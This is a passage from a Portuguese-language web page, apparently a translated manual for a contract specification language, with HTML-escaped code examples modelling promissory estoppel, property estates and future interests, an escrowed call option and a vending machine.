&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>principal&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;100 fl + 50 fl + 7*100 fl&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>penalty&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#f92672">*&lt;/span>principal,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>t1&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;5 months from now&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>t2&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;1 year after [legal] time limit has expired&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goodsInsured&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;that amount of goods, property,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">and merchandise which was loaded&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Esse contrato ainda era, legalmente falando, um empréstimo. Isso teve
pelo menos duas conseqüências interessantes sobre o que chamamos agora
de prêmio de seguro. Em primeiro lugar, o prêmio foi tratado como compra
de bens pela seguradora a crédito. Em segundo lugar, mesmo nessa data
tardia, os contratos eram modestos quanto ao valor real desses bens.
Deixar o valor desses bens não especificado dificultou a comprovação da
usura neste &amp;ldquo;empréstimo&amp;rdquo;.&lt;/p>
&lt;h2 id="regras-eventos-logicamente-combinados-e-sobrepostos">Regras: Eventos Logicamente Combinados e Sobrepostos&lt;/h2>
&lt;p>Eventos em uma cláusula when podem ser combinados em condições lógicas
que devem ser avaliadas como true [verdadeiras] para acionar a
subcláusula. Isso pode ser usado para modelar cláusulas condicionais em
contratos e, mais amplamente, regras processuais e substantivas da lei.
Ao construir regras, chamamos os elementos primitivos de eventos. Por
exemplo, aqui é, seguindo aproximadamente a Reformulação (Segunda) de
Contratos, uma regra legal para o embargo promissório:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#34;there is a promise&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>P &lt;span style="color:#e6db74">&amp;#34;has relied on that promise&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>D &lt;span style="color:#e6db74">&amp;#34;should reasonably expect P would rely on that promise&amp;#34;&lt;/span> &lt;span style="color:#f92672">and&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#34;injustice can only be remedied by enforcing the promise&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#34;the promise will be enforced&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#34;the promise will not be enforced&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nós incluímos um &amp;ldquo;then&amp;rdquo; gratuito aqui para facilitar a leitura. Os
programadores de computador devem observar que estamos seguindo uma
abreviação usada aqui por advogados &amp;ndash; escrevemos a frase lógica (A e B
e C e D) como (A B C e D). Ao misturar e e ou, escreva a lógica completa
e use parênteses, quando apropriado.&lt;/p>
&lt;p>Os elementos da regra, como &amp;ldquo;there is a promise&amp;rdquo; [existe uma
promessa], existem em um estado sobreposto. Por padrão, a lógica
desconhece os fatos e cada elemento está genuinamente em questão. Como
resultado, &amp;ldquo;there is a promise&amp;rdquo; e os outros elementos da regra acima são
verdadeiros e falsos, ao mesmo tempo. (Aqueles familiarizados com
mecânica quântica ou raciocínio jurídico sabem do que estou falando
aqui). No estado inicial, onde cada elemento está genuinamente em
questão, regras não triviais sempre serão avaliadas como verdadeiras e
falsas. Assim, ambas as cláusulas &amp;ldquo;promise will be enforced&amp;rdquo; [promessa
será aplicada] e &amp;ldquo;promise will not be enforced&amp;rdquo; [promessa não será
aplicada] serão acionadas. Quando as cláusulas são incompatíveis, como
essas parecem ser por seus rótulos, cabe ao implementador da cláusula
lidar com isso adequadamente. Nesse caso, tal cláusula deve ser tratada
apenas como aconselhamento até que todos os elementos materiais tenham
sido decididos &amp;ndash; ou seja, eles não estão mais genuinamente em questão,
quando a regra pode ser usada para tomar uma decisão, ou seja, acionar
uma única cláusula que toma uma ação consistente. Uma versão futura
deste documento descreverá como resolver elementos genuinamente em
questão em elementos não genuinamente em questão e, assim, decidir sobre
um único resultado ou curso de ação. Também descreverá como lidar com
cláusulas consultivas; por exemplo, para analisar quais elementos são
mais favoráveis ​​a um resultado ou outro. Finalmente, outro recurso
futuro incluirá elementos que abrangem uma faixa de valores numéricos,
em vez de apenas verdadeiro ou falso, e um &amp;ldquo;teste de equilíbrio&amp;rdquo;
formalizado que determina os resultados com base em estimativas
numéricas subjacentes.&lt;/p>
&lt;h2 id="propriedade----estados-e-lucros-futuros">Propriedade &amp;ndash; Estados e Lucros Futuros&lt;/h2>
&lt;p>Nossa linguagem de regras é ideal para especificar propriedades e lucros
futuros em ações imobiliárias. Também se pode aplicar esses padrões a
outros tipos de propriedade, quando apropriado. Aqui estão alguns
exemplos:&lt;/p>
&lt;p>Arrendamento por Prazo: (n.b. &amp;ndash; Concedente = o próprio). Este é um
contrato antigo de direito comum que realmente transfere o título por um
determinado período de tempo.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>leaseWithTerm(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Lessee&lt;/span>, &lt;span style="color:#66d9ef">Start&lt;/span>, &lt;span style="color:#66d9ef">Term&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(&lt;span style="color:#66d9ef">Start&lt;/span>) to &lt;span style="color:#66d9ef">Lessee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> afterTime(&lt;span style="color:#66d9ef">Start&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#66d9ef">Term&lt;/span>) to &lt;span style="color:#66d9ef">Grantor&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Life Estate with Reverter: (n.b. &amp;ndash; Concedente = self)&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>lifeEstateReverter(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> afterDeath(&lt;span style="color:#66d9ef">Grantee&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantor&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Reversão Designável para Arrendamento. Para fazer com que os lucros
futuros sejam atribuíveis, defina-os separadamente. (Como sempre,
estamos vendo as coisas do lado do devedor):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>lifeEstateReverter(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> afterDeath(&lt;span style="color:#66d9ef">Grantee&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantor&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Agora podemos redefinir a locação de vida com reversão em termos dos
lucros futuros definidos separadamente:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>lifeEstateReverter(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>, &lt;span style="color:#66d9ef">Reverter&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">Reverter&lt;/span>(&lt;span style="color:#66d9ef">Grantor&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>, &lt;span style="color:#66d9ef">Property&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Locação de Vida com Remanejo. A única diferença aqui é que a propriedade
é remanejada para terceiros em vez de reverter para o concedente.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>lifeEstateRemainder(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>, &lt;span style="color:#66d9ef">Remainderman&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> afterDeath(&lt;span style="color:#66d9ef">Grantee&lt;/span>) to &lt;span style="color:#66d9ef">Remainderman&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Taxa Simples Determinável. A Condição pode ser qualquer evento
verificável ou mudança de estado da propriedade ou seu título. Uma
condição imobiliária comum, por exemplo, é &amp;ldquo;usada para fins comerciais&amp;rdquo;
&amp;ndash; isto é, uma restrição de que a propriedade não pode ser usada para
fins comerciais, caso contrário, o beneficiário é penalizado por perder
o título do concedente.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>feeSimpleDeterminable(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>, &lt;span style="color:#66d9ef">Condition&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> &lt;span style="color:#66d9ef">Condtion&lt;/span>(&lt;span style="color:#66d9ef">Property&lt;/span>) to &lt;span style="color:#66d9ef">Grantor&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Taxa Simples Sujeita a Limitação Executiva. O mesmo que Taxa Simples
Determinável, exceto que a propriedade é remanejada para terceiros em
vez de reverter para o concedente.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>feeSimpleSubjectToExecutoryLimitation(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>, &lt;span style="color:#66d9ef">Condition&lt;/span>, &lt;span style="color:#66d9ef">Remainderman&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> &lt;span style="color:#66d9ef">Condtion&lt;/span>(&lt;span style="color:#66d9ef">Property&lt;/span>) to &lt;span style="color:#66d9ef">Remainderman&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Taxa Simples Sujeito a Condição Subseqüente. Aqui, o título não é
automaticamente transferido após a ocorrência da condição. Em vez disso,
o Concedente deve fazer algum ato afirmativo e verificável (neste
exemplo, &amp;ldquo;entrar&amp;rdquo; na propriedade), para recuperar o título.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>feeSimpleSubjectToConditionSubsequent(&lt;span style="color:#66d9ef">Property&lt;/span>, &lt;span style="color:#66d9ef">Grantee&lt;/span>, &lt;span style="color:#66d9ef">Condition&lt;/span>, &lt;span style="color:#66d9ef">Enters&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Grantee&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> &lt;span style="color:#66d9ef">Condtion&lt;/span>(&lt;span style="color:#66d9ef">Property&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> &lt;span style="color:#66d9ef">Enters&lt;/span>(&lt;span style="color:#66d9ef">Grantor&lt;/span>, &lt;span style="color:#66d9ef">Property&lt;/span>) to &lt;span style="color:#66d9ef">Grantor&lt;/span> &lt;span style="color:#66d9ef">Property&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="mais-alguns-exemplos-avançados">Mais Alguns Exemplos Avançados&lt;/h2>
&lt;p>Nesta seção, examinaremos maneiras de construir acordos
multipartidários, distinguir eventos ambientais de lançados, e examinar
uma série de outros recursos mais avançados ou maneiras de usar nossa
linguagem.&lt;/p>
&lt;p>Concluiremos o ciclo de vida da opção americana que elaboramos acima
&amp;ldquo;escrevendo&amp;rdquo; a opção &amp;ndash; criando-a a partir de uma security subjacente
rightA e vendendo-a por rightX. Aqui, o Titular (a mesma parte que o
Titular acima, neste caso a pessoa que comprará a opção por escrito)
primeiro verifica que a Contraparte realmente detém a security
subjacente (rightA) junto à Corretora. O Titular confia no Corretor para
garantir que a Contraparte continue mantendo o valor mobiliário até que
a opção seja exercida ou expirada. O contrato entre o Corretor e o
Titular é escrowRight ().)&lt;/p>
&lt;p>Como a Contraparte, o criador da opção, não está pagando nada
antecipadamente por uma opção à rightB, esse direito não precisa ser
garantido.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>escrowRight(right, escrow, newHolder, currentHolder,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>newHolderReleaseEvents, currentHolderReleaseEvents) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to escrow right
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (holderReleaseEvents)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to rightHolder right &lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (counterpartyReleaseEvents)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to currentHolder right &lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>writeCallOptionAmerican(rightA, rightB, rightX, time) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>escrowRight(rightA, &lt;span style="color:#66d9ef">Holder&lt;/span>, &lt;span style="color:#66d9ef">Counterparty&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(optionExercised), (optionExpired))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Counterparty&lt;/span> callOptionAmercian(rightA, rightB, time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with to &lt;span style="color:#66d9ef">Holder&lt;/span> rightX
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Agora, reformulamos a opção em si para tirar proveito do escrow
[garantia]. rightA é transferido para o Titular pelo throw [lance]
após o exercício ou de volta à Contraparte se a opção expirar.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>callOptionAmerican(escrowRight, rightB, time) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{ &lt;span style="color:#66d9ef">throw&lt;/span> optionExercised at escrowRight }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">throw&lt;/span> optionExpired at escrowRight
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Podemos pensar nos eventos como sendo de dois tipos. Os primeiros,
eventos ambientais, ocorrem espontaneamente no ambiente ou são gerados
por uma entidade externa à nossa especificação, como um usuário ou um
cronograma. O segundo, eventos lançados, são eventos que lançamos
explicitamente como acima.&lt;/p>
&lt;p>Neste manual, expressei cláusulas contratuais em termos de direitos.
Freqüentemente, a linguagem do contrato é expressa em termos de
obrigações, o que pode ser feito como uma imagem espelhada &amp;ndash;to Holder
right é o mesmo que from Counterparty obligation e vice-versa. Use from
para distinguir uma obrigação.&lt;/p>
&lt;h2 id="máquinas-de-conexão">Máquinas de Conexão&lt;/h2>
&lt;p>Mostrando ainda mais a flexibilidade de nossa linguagem, podemos
adicionar sensores e efetores, acrescentando &amp;ldquo;inteligência&amp;rdquo; a nossos
contratos e aumentando a aplicação legal com restrições tecnológicas.&lt;/p>
&lt;p>Primeiro, esboçamos uma especificação para o comportamento de contrato
de uma máquina de venda automática:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>sellCandy(candyPrice &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">90&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>variable moneyAmount &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># coins also fall into a temporary till tempTill&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (nickel)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>add(moneyAmount, $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">05&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (dime)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>add(moneyAmount, $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (quarter)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>add(moneyAmount, $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">25&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (moneyReturn)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dropCoins(tempTill, returnTill)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with moneyAmount &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> threshold(moneyAmount, candyPrice)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> (nickel &lt;span style="color:#f92672">|&lt;/span> dime &lt;span style="color:#f92672">|&lt;/span> quarter)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>redirectNewCoinsTo(returnTill)
